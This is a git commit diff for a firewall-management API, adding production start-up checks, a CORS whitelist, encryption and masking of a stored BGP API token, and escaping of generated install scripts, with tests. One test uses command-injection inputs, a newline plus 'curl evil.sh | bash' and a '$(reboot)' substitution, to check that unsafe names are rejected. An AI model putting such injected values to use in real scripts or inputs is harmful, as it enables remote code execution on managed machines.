fix(api): fail-safe прод-старт, транзакции и санитизация install-скриптов

- прод-режим отказывается стартовать без AUTH_REQUIRED и реальных секретов
  (opt-out через EVOFW_ALLOW_UNSAFE)
- CORS: whitelist через CORS_ORIGINS вместо origin:true; CSP для раздаваемого SPA
- транзакции для setAgentPolicySets, reorderPolicyRules, replaceResolvedForRule,
  replaceIpListEntries
- install-скрипты: Zod-валидация имени ссылки, экранирование $ и контрольных
  символов в RouterOS-рендере
- constant-time сравнение enroll-seed
- опциональное шифрование токена EvoBGP в БД (EVOFW_SECRET_KEY, AES-256-GCM)
  и маскирование per-list api_token в ответах
- graceful shutdown (SIGTERM/SIGINT) + тесты
This commit is contained in:
Denozordec
2026-09-20 18:51:47 +07:00
parent 45812fef6a
commit 40030ce06c
23 changed files with 493 additions and 69 deletions
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
secretKey: null,
}
describe('agents CRUD critical paths', () => {
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
secretKey: null,
}
describe('install-links', () => {
@@ -112,6 +114,55 @@ describe('install-links', () => {
expect(row?.status).toBe('pending')
})
it('rejects install link names with unsafe characters', async () => {
const app = await appPromise
await app.ready()
const bad = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'web\n; curl evil.sh | bash', platform: 'linux' },
})
expect(bad.statusCode).toBe(400)
const quotes = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: "name'$(reboot)", platform: 'linux' },
})
expect(quotes.statusCode).toBe(400)
})
it('masks per-list api_token in list responses', async () => {
const app = await appPromise
await app.ready()
const created = await app.inject({
method: 'POST',
url: '/api/v1/lists',
payload: {
name: 'evobgp-masked',
type: 'evobgp_community',
config: {
api_url: 'https://bgp.example.com',
api_token: 'super-secret-token',
community_id: '',
},
},
})
expect(created.statusCode).toBe(200)
const body = created.json() as { config_json: string }
expect(body.config_json).not.toContain('super-secret-token')
expect(body.config_json).toContain('********')
const lists = await app.inject({ method: 'GET', url: '/api/v1/lists' })
const items = (lists.json() as { items: { config_json: string }[] }).items
expect(
items.some((l) => l.config_json.includes('super-secret-token')),
).toBe(false)
expect(items.some((l) => l.config_json.includes('********'))).toBe(true)
})
it('mikrotik install link serves RSC and fetch/import one-liner', async () => {
const app = await appPromise
await app.ready()
+13 -3
View File
@@ -105,8 +105,18 @@ function loadMikrotikInstallRsc(): string {
return readFileSync(join(scriptsDir, 'mikrotik-install.rsc'), 'utf-8')
}
/** Strip control characters that have no business inside generated scripts. */
function stripControlChars(s: string): string {
// eslint-disable-next-line no-control-regex
return s.replace(/[\x00-\x1f\x7f]/g, '')
}
function escapeRosString(s: string): string {
return s.replace(/\\/g, '\\\\').replace(/"/g, '\\"')
// RouterOS interpolates $var and substitutes $(cmd) inside double quotes.
return stripControlChars(s)
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"')
.replace(/\$/g, '\\$')
}
/**
@@ -119,8 +129,8 @@ export function renderInstallScript(opts: {
platform: string
installLinkId: string
}): string {
const cp = opts.cpUrl.replace(/\/$/, '')
const escape = (s: string) => s.replace(/'/g, `'\\''`)
const cp = stripControlChars(opts.cpUrl.replace(/\/$/, ''))
const escape = (s: string) => stripControlChars(s).replace(/'/g, `'\\''`)
const header = [
'#!/usr/bin/env bash',
'# EvoFirewall short install link — env pre-set',
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
secretKey: null,
}
async function enrollApprovedLinux(
+2 -1
View File
@@ -12,6 +12,7 @@ import {
} from '@evofw/shared'
import { resolveHostnameToCidrs } from '../policy/resolve-hostname.js'
import { uniqCidrs } from '../uniq.js'
import { maskListConfig } from '../secret-cipher.js'
export function getListConfig(list: {
configJson: string
@@ -324,7 +325,7 @@ export function mapListDetail(db: Db, listId: string) {
id: l.id,
name: l.name,
type: l.type,
config_json: l.configJson,
config_json: maskListConfig(l.configJson),
content_hash: l.contentHash,
refreshed_at: l.refreshedAt,
last_error: l.lastError,
+6 -3
View File
@@ -8,6 +8,7 @@ import {
rebuildManualListEntries,
} from './entries.js'
import { uniqCidrs } from '../uniq.js'
import { decryptSecret } from '../secret-cipher.js'
function hashCidrs(cidrs: string[]): string {
return `sha256:${createHash('sha256').update(cidrs.join('\n')).digest('hex')}`
@@ -139,10 +140,12 @@ export async function refreshIpList(db: Db, listId: string): Promise<void> {
repos.replaceIpListEntries(db, listId, cidrs)
} else if (list.type === 'evobgp_community') {
const apiUrl =
String(config.api_url ?? '') || repos.getSetting(db, 'evobgp_api_url')
String(config.api_url ?? '') ||
repos.getSetting(db, 'evobgp_api_url') ||
''
const token =
String(config.api_token ?? '') ||
repos.getSetting(db, 'evobgp_api_token')
decryptSecret(String(config.api_token ?? '') || null) ??
decryptSecret(repos.getSetting(db, 'evobgp_api_token'))
const communityId = String(config.community_id ?? '')
if (!apiUrl || !token || !communityId) {
throw new Error('evobgp_api_url, token and community_id required')
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
secretKey: null,
}
async function createAgent(
+2
View File
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
secretKey: null,
}
async function enrollApprovedLinux(
@@ -0,0 +1,64 @@
import { describe, it, expect, afterEach } from 'vitest'
import {
encryptSecret,
decryptSecret,
isEncryptedSecret,
sealListConfig,
maskListConfig,
} from './secret-cipher.js'
const ORIGINAL_KEY = process.env.EVOFW_SECRET_KEY
afterEach(() => {
if (ORIGINAL_KEY === undefined) delete process.env.EVOFW_SECRET_KEY
else process.env.EVOFW_SECRET_KEY = ORIGINAL_KEY
})
describe('secret-cipher', () => {
it('passes values through when no key is configured', () => {
delete process.env.EVOFW_SECRET_KEY
expect(encryptSecret('plain')).toBe('plain')
expect(decryptSecret('plain')).toBe('plain')
expect(isEncryptedSecret('plain')).toBe(false)
})
it('encrypts and decrypts when EVOFW_SECRET_KEY is set', () => {
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
const enc = encryptSecret('super-secret-token')
expect(enc).not.toContain('super-secret-token')
expect(enc.startsWith('enc:v1:')).toBe(true)
expect(decryptSecret(enc)).toBe('super-secret-token')
// already-encrypted values are not double-encrypted
expect(encryptSecret(enc)).toBe(enc)
})
it('returns null for encrypted values when the key is missing or wrong', () => {
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
const enc = encryptSecret('super-secret-token')
delete process.env.EVOFW_SECRET_KEY
expect(decryptSecret(enc)).toBeNull()
process.env.EVOFW_SECRET_KEY = 'other-key-other-key-other-key!'
expect(decryptSecret(enc)).toBeNull()
})
it('seals and masks list config api_token', () => {
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
const sealed = sealListConfig({
api_url: 'https://bgp.example.com',
api_token: 'super-secret-token',
community_id: 'abc',
})
expect(sealed).not.toContain('super-secret-token')
const parsed = JSON.parse(sealed) as { api_token: string }
expect(decryptSecret(parsed.api_token)).toBe('super-secret-token')
const masked = maskListConfig(sealed)
expect(masked).toContain('********')
expect(masked).not.toContain('enc:v1:')
// configs without tokens pass through untouched
expect(maskListConfig('{"api_url":"https://x"}')).toBe(
'{"api_url":"https://x"}',
)
})
})
+86
View File
@@ -0,0 +1,86 @@
import {
createCipheriv,
createDecipheriv,
randomBytes,
scryptSync,
} from 'node:crypto'
/**
* Optional at-rest encryption for secrets stored in the DB (EvoBGP API
* token). Active only when EVOFW_SECRET_KEY is set; without it values are
* stored as before (plaintext) so existing deployments keep working.
*
* Format: enc:v1:<saltB64>:<ivB64>:<tagB64>:<dataB64>, AES-256-GCM with a
* scrypt-derived per-value key.
*/
const PREFIX = 'enc:v1:'
function deriveKey(secret: string, salt: Buffer): Buffer {
return scryptSync(secret, salt, 32)
}
export function isEncryptedSecret(value: string): boolean {
return value.startsWith(PREFIX)
}
export function encryptSecret(value: string): string {
const secret = process.env.EVOFW_SECRET_KEY?.trim()
if (!secret || !value || isEncryptedSecret(value)) return value
const salt = randomBytes(16)
const iv = randomBytes(12)
const cipher = createCipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
const data = Buffer.concat([cipher.update(value, 'utf8'), cipher.final()])
const tag = cipher.getAuthTag()
const payload = [salt, iv, tag, data]
.map((b) => b.toString('base64'))
.join(':')
return `${PREFIX}${payload}`
}
/**
* Decrypt an encrypted secret; returns plaintext secrets untouched. Returns
* null for encrypted values that cannot be decrypted (key missing/rotated)
* so callers can treat the secret as unset instead of sending garbage.
*/
export function decryptSecret(value: string | null | undefined): string | null {
if (!value) return null
if (!isEncryptedSecret(value)) return value
const secret = process.env.EVOFW_SECRET_KEY?.trim()
if (!secret) return null
const parts = value.split(':')
if (parts.length !== 6) return null
try {
const salt = Buffer.from(parts[2]!, 'base64')
const iv = Buffer.from(parts[3]!, 'base64')
const tag = Buffer.from(parts[4]!, 'base64')
const data = Buffer.from(parts[5]!, 'base64')
const decipher = createDecipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
decipher.setAuthTag(tag)
return Buffer.concat([decipher.update(data), decipher.final()]).toString('utf8')
} catch {
return null
}
}
/** Encrypt secrets inside a list config before persisting it. */
export function sealListConfig(config: Record<string, unknown>): string {
if (typeof config.api_token === 'string' && config.api_token) {
config = { ...config, api_token: encryptSecret(config.api_token) }
}
return JSON.stringify(config)
}
/** Mask secrets inside a list config before returning it to clients. */
export function maskListConfig(configJson: string): string {
if (!configJson.includes('api_token')) return configJson
try {
const config = JSON.parse(configJson) as Record<string, unknown>
if (typeof config.api_token === 'string' && config.api_token) {
config.api_token = '********'
}
return JSON.stringify(config)
} catch {
return configJson
}
}
@@ -15,6 +15,8 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
secretKey: null,
}
describe('settings + bumpAgentsForList', () => {